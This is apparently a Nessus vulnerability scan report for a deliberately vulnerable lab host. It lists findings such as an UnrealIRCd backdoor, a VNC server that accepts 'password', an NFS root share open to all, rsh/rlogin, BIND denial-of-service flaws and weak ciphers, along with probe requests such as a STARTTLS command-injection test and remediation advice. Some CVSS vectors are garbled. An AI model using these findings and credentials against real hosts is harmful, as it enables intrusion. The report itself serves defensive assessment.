10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

Plugin Output

tcp/5432/postgresql

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)					
Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	---	-----	-----
SHA1 EDH - RSA - DES - CBC3 - SHA		DH	RSA	3DES - CBC (168)	
SHA1 DES - CBC3 - SHA		RSA	RSA	3DES - CBC (168)	
High Strength Ciphers (>= 112-bit key)					
Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	---	-----	-----
SHA1 DHE - RSA - AES128 - SHA		DH	RSA	AES - CBC (128)	
SHA1 DHE - RSA - AES256 - SHA		DH	RSA	AES - CBC (256)	
SHA1 AES128 - SHA		RSA	RSA	AES - CBC (128)	
SHA1 AES256 - SHA		RSA	RSA	AES - CBC (256)	
SHA1 RC4 - SHA		RSA	RSA	RC4 (128)	
The fields above are :					
{Tenable ciphername}					
{Cipher ID code}					
Kex={key exchange}					
Auth={authentication}					
Encrypt={symmetric encryption method}					
MAC={message authentication code}					
{export flag}					

33850 - Unix Operating System Unsupported Version Detection

Synopsis

The operating system running on the remote host is no longer supported.

Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

Solution

Upgrade to a version of the Unix operating system that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF IAVA:0001-A-0502
XREF IAVA:0001-A-0648

Plugin Information

Published: 2008/08/08, Modified: 2024/04/03

Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).  
Upgrade to Ubuntu 23.04 / LTS 22.04 / LTS 20.04 .
```

```
For more information, see : https://wiki.ubuntu.com/Releases
```

46882 - UnrealIRCd Backdoor Detection

Synopsis

The remote IRC server contains a backdoor.

Description

The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host.

See Also

<https://seclists.org/fulldisclosure/2010/Jun/277>

<https://seclists.org/fulldisclosure/2010/Jun/284>

<http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt>

Solution

Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:I/C:A/C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 40820

CVE CVE-2010-2075

Exploitable With

CANVAS (true) Metasploit (true)

Plugin Information

Plugin Output

tcp/6667/irc

```
The remote IRC server is running as :
```

```
uid=0(root) gid=0(root)
```

61708 - VNC Server 'password' Password

Synopsis

A VNC server running on the remote host is secured with a weak password.

Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:I/C:A:C)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output

tcp/5900/vnc

```
Nessus logged in using a password of "password".
```

136769 - ISC BIND Service Downgrade / Reflected DoS

Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

See Also

<https://kb.isc.org/docs/cve-2020-8616>

Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.2

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

|

References

CVE CVE-2020-8616
XREF IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2024/03/12

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

42256 - NFS Shares World Readable

Synopsis

The remote NFS server exports world-readable shares.

Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

See Also

<http://www.tldp.org/HOWTO/NFS-HOWTO/security.html>

Solution

Place the appropriate restrictions on all NFS shares.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/10/26, Modified: 2024/02/21

Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :
```

```
/ *
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

<https://www.openssl.org/blog/blog/2016/08/24/sweet32/>

<https://sweet32.info>

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

VPR Score

6.1

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC (168)	MD5
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC (168)	
SHA1					
ADH-DES-CBC3-SHA	0x00, 0x1B	DH	None	3DES-CBC (168)	
SHA1					
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC (168)	
SHA1					

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

<https://www.openssl.org/blog/blog/2016/08/24/sweet32/>

<https://sweet32.info>

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

VPR Score

6.1

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)
```

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC(168)	
DES-CBC3-SHA SHA1	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

90509 - Samba Badlock Vulnerability

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID 86002
CVE CVE-2016-2118
XREF CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

10205 - rlogin Service Detection

Synopsis

The rlogin service is running on the remote host.

Description

The rlogin service is running on the remote host. This service is vulnerable since data is passed between the rlogin client and server in cleartext. A man-in-the-middle attacker can exploit this to sniff logins and passwords. Also, it may allow poorly authenticated logins without passwords. If the host is vulnerable to TCP sequence number guessing (from any network) or IP spoofing (including ARP hijacking on a local network) then it may be possible to bypass authentication.

Finally, rlogin is an easy way to turn file-write access into full logins through the .rhosts or rhosts.equiv files.

Solution

Comment out the 'login' line in /etc/inetd.conf and restart the inetd process. Alternatively, disable this service and use SSH instead.

Risk Factor

High

VPR Score

5.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE CVE-1999-0651

Exploitable With

Metasploit (true)

Plugin Information

Published: 1999/08/30, Modified: 2022/04/11

Plugin Output

tcp/513/rlogin

10245 - rsh Service Detection

Synopsis

The rsh service is running on the remote host.

Description

The rsh service is running on the remote host. This service is vulnerable since data is passed between the rsh client and server in cleartext. A man-in-the-middle attacker can exploit this to sniff logins and passwords. Also, it may allow poorly authenticated logins without passwords. If the host is vulnerable to TCP sequence number guessing (from any network) or IP spoofing (including ARP hijacking on a local network) then it may be possible to bypass authentication.

Finally, rsh is an easy way to turn file-write access into full logins through the .rhosts or rhosts.equiv files.

Solution

Comment out the 'rsh' line in /etc/inetd.conf and restart the inetd process. Alternatively, disable this service and use SSH instead.

Risk Factor

High

VPR Score

5.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE CVE-1999-0651

Exploitable With

Metasploit (true)

Plugin Information

Published: 1999/08/22, Modified: 2022/04/11

Plugin Output

tcp/514/rsh

12085 - Apache Tomcat Default Files

Synopsis

The remote web server contains default files.

Description

The default error page, default index page, example JSPs and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.

See Also

<http://www.nessus.org/u?4cb3b4dd>

https://www.owasp.org/index.php/Securing_tomcat

Solution

Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2004/03/02, Modified: 2019/08/12

Plugin Output

tcp/8180/www

```
The following default files were found :
```

```
http://192.168.1.101:8180/tomcat-docs/index.html
```

```
The server is not configured to return a custom page in the event of a client requesting a non-existent resource.
```

```
This may result in a potential disclosure of sensitive information about the server to attackers.
```


12217 - DNS Server Cache Snooping Remote Information Disclosure

Synopsis

The remote DNS server is vulnerable to cache snooping attacks.

Description

The remote DNS server responds to queries for third-party domains that do not have the recursion bit set.

This may allow a remote attacker to determine which domains have recently been resolved via this name server, and therefore which hosts have been recently visited.

For instance, if an attacker was interested in whether your company utilizes the online services of a particular financial institution, they would be able to use this attack to build a statistical model regarding company usage of that financial institution. Of course, the attack can also be used to find B2B partners, web-surfing patterns, external mail servers, and more.

Note: If this is an internal DNS server not accessible to outside networks, attacks would be limited to the internal network. This may include employees, consultants and potentially users on a guest network or WiFi connection if supported.

See Also

http://cs.unc.edu/~fabian/course_papers/cache_snooping.pdf

Solution

Contact the vendor of the DNS software for a fix.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2004/04/27, Modified: 2020/04/07

Plugin Output

udp/53/dns

Nessus sent a non-recursive query for example.com
and received 1 answer :

93.184.215.14

11213 - HTTP TRACE / TRACK Methods Allowed

Synopsis

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

<http://www.nessus.org/u?e979b5cb>

<http://www.apacheweek.com/issues/03-01-24>

<https://download.oracle.com/sunalerts/1000718.1.html>

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.0

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID 9506

BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

Plugin Output

tcp/80/www

```
To disable these methods, add the following lines for each virtual host in your configuration file :
```

```
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
```

```
Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 support disabling the TRACE method natively via the 'TraceEnable' directive.
```

```
Nessus sent the following TRACE request : \n\n----- snip
-----\nTRACE /Nessus1603631596.html HTTP/1.1
Connection: Close
Host: 192.168.1.101
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

----- snip ----- \n\nand received the
following response from the remote server :\n\n----- snip
-----\nHTTP/1.1 200 OK
Date: Sat, 27 Apr 2024 12:37:45 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /Nessus1603631596.html HTTP/1.1
Connection: Keep-Alive
Host: 192.168.1.101
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /*
```

```
Accept-Language: en
Accept-Charset: iso-8859-1,*;utf-8
----- snip ----- \n
```

10114 - ICMP Timestamp Request Remote Date Disclosure

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

Low

CVSS v3.0 Base Score

4.0 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)

VPR Score

2.2

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

References

CVE CVE-1999-0524

XREF CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2024/04/22

Plugin Output

icmp/0

The difference between the local and remote clocks is 7 seconds.

139915 - ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS

Synopsis

The remote name server is affected by a denial of service vulnerability.

Description

According to its self-reported version number, the installation of ISC BIND running on the remote name server is version 9.x prior to 9.11.22, 9.12.x prior to 9.16.6 or 9.17.x prior to 9.17.4. It is, therefore, affected by a denial of service (DoS) vulnerability due to an assertion failure when attempting to verify a truncated response to a TSIG-signed request. An authenticated, remote attacker can exploit this issue by sending a truncated response to a TSIG-signed request to trigger an assertion failure, causing the server to exit.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

<https://kb.isc.org/docs/cve-2020-8622>

Solution

Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

|

References

CVE	CVE-2020-8622
XREF	IAVA:2020-A-0385-S

Plugin Information

Published: 2020/08/27, Modified: 2021/06/03

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.22, 9.16.6, 9.17.4 or later
```

136808 - ISC BIND Denial of Service

Synopsis

The remote name server is affected by an assertion failure vulnerability.

Description

A denial of service (DoS) vulnerability exists in ISC BIND versions 9.11.18 / 9.11.18-S1 / 9.12.4-P2 / 9.13 / 9.14.11 / 9.15 / 9.16.2 / 9.17 / 9.17.1 and earlier. An unauthenticated, remote attacker can exploit this issue, via a specially-crafted message, to cause the service to stop responding.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

<https://kb.isc.org/docs/cve-2020-8617>

Solution

Upgrade to the patched release most closely related to your current version of BIND.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

|

References

CVE CVE-2020-8617
XREF IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2023/03/23

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version    : 9.11.19
```

33447 - Multiple Vendor DNS Query ID Field Prediction Cache Poisoning

Synopsis

The remote name resolver (or the server it uses upstream) is affected by a DNS cache poisoning vulnerability.

Description

The remote DNS resolver does not use random ports when making queries to third-party DNS servers. An unauthenticated, remote attacker can exploit this to poison the remote DNS server, allowing the attacker to divert legitimate traffic to arbitrary sites.

See Also

<https://www.cnet.com/news/massive-coordinated-dns-patch-released/>

https://www.theregister.co.uk/2008/07/21/dns_flaw_speculation/

Solution

Contact your DNS server vendor for a patch.

Risk Factor

Medium

CVSS v3.0 Base Score

6.8 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

6.1 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.0

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

|

References

BID	30131
CVE	CVE-2008-1447
XREF	CERT:800113
XREF	IAVA:2008-A-0045
XREF	EDB-ID:6122
XREF	EDB-ID:6123
XREF	EDB-ID:6130

Plugin Information

Published: 2008/07/09, Modified: 2024/04/03

Plugin Output

udp/53/dns

```
The remote DNS server uses non-random ports for its  
DNS requests. An attacker may spoof DNS responses.
```

```
List of used ports :
```

```
+ DNS Server: 79.56.147.49  
|- Port: 36997  
|- Port: 36997  
|- Port: 36997  
|- Port: 36997
```

57608 - SMB Signing not required

Synopsis

Signing is not required on the remote SMB server.

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

See Also

<http://www.nessus.org/u?df39b8b3>

<http://technet.microsoft.com/en-us/library/cc731957.aspx>

<http://www.nessus.org/u?74b80723>

<https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html>

<http://www.nessus.org/u?a3cac4ea>

Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'. See the 'see also' links for further details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

Plugin Information

Published: 2012/01/19, Modified: 2022/10/05

Plugin Output

tcp/445/cifs

52611 - SMTP Service STARTTLS Plaintext Command Injection

Synopsis

The remote mail service allows plaintext command injection while negotiating an encrypted communications channel.

Description

The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase.

Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.

See Also

<https://tools.ietf.org/html/rfc2487>

<https://www.securityfocus.com/archive/1/516901/30/0/threaded>

Solution

Contact the vendor to see if an update is available.

Risk Factor

Medium

VPR Score

6.3

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	46767
CVE	CVE-2011-0411
CVE	CVE-2011-1430
CVE	CVE-2011-1431
CVE	CVE-2011-1432

CVE CVE-2011-1506
CVE CVE-2011-2165
XREF CERT:555316

Plugin Information

Published: 2011/03/10, Modified: 2019/03/06

Plugin Output

tcp/25/smtp

```
Nessus sent the following two commands in a single packet :
```

```
STARTTLS\r\nRSET\r\n
```

```
And the server sent the following two responses :
```

```
220 2.0.0 Ready to start TLS
250 2.0.0 Ok
```

90317 - SSH Weak Algorithms Supported

Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

See Also

<https://tools.ietf.org/html/rfc4253#section-6.3>

Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following weak server-to-client encryption algorithms are supported :
```

```
arcfour
arcfour128
arcfour256
```

```
The following weak client-to-server encryption algorithms are supported :
```

```
arcfour
arcfour128
arcfour256
```

31705 - SSL Anonymous Cipher Suites Supported

Synopsis

The remote service supports the use of anonymous SSL ciphers.

Description

The remote host supports the use of anonymous SSL ciphers. While this enables an administrator to set up a service that encrypts traffic without having to generate and configure SSL certificates, it offers no way to verify the remote host's identity and renders the service vulnerable to a man-in-the-middle attack.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?3a040ada>

Solution

Reconfigure the affected application if possible to avoid use of weak ciphers.

Risk Factor

Low

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID 28482

Plugin Information

Published: 2008/03/28, Modified: 2023/10/27

Plugin Output

tcp/25/smtp

The following is a list of SSL anonymous ciphers supported by the remote TCP server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
EXP-ADH-DES-CBC-SHA	0x00, 0x19	DH(512)	None	DES-CBC(40)	
SHA1 export					
EXP-ADH-RC4-MD5	0x00, 0x17	DH(512)	None	RC4(40)	MD5
SHA1 export					
ADH-DES-CBC-SHA	0x00, 0x1A	DH	None	DES-CBC(56)	
SHA1					

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
ADH-DES-CBC3-SHA	0x00, 0x1B	DH	None	3DES-CBC(168)	
SHA1					

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
ADH-AES128-SHA	0x00, 0x34	DH	None	AES-CBC(128)	
SHA1					
ADH-AES256-SHA	0x00, 0x3A	DH	None	AES-CBC(256)	
SHA1					
ADH-RC4-MD5	0x00, 0x18	DH	None	RC4(128)	MD5

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

See Also

<https://www.itu.int/rec/T-REC-X.509/en>

<https://en.wikipedia.org/wiki/X.509>

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2010/12/15, Modified: 2020/04/27

Plugin Output

tcp/25/smtp

```
The following certificate was part of the certificate chain  
sent by the remote host, but it has expired :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Not After : Apr 16 14:07:45 2010 GMT
```

```
The following certificate was at the top of the certificate  
chain sent by the remote host, but it is signed by an unknown  
certificate authority :
```

```
| -Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain  
| -Issuer : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for  
Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-  
base.localdomain
```

51192 - SSL Certificate Cannot Be Trusted

Synopsis

The SSL certificate for this service cannot be trusted.

Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.
- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.
- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

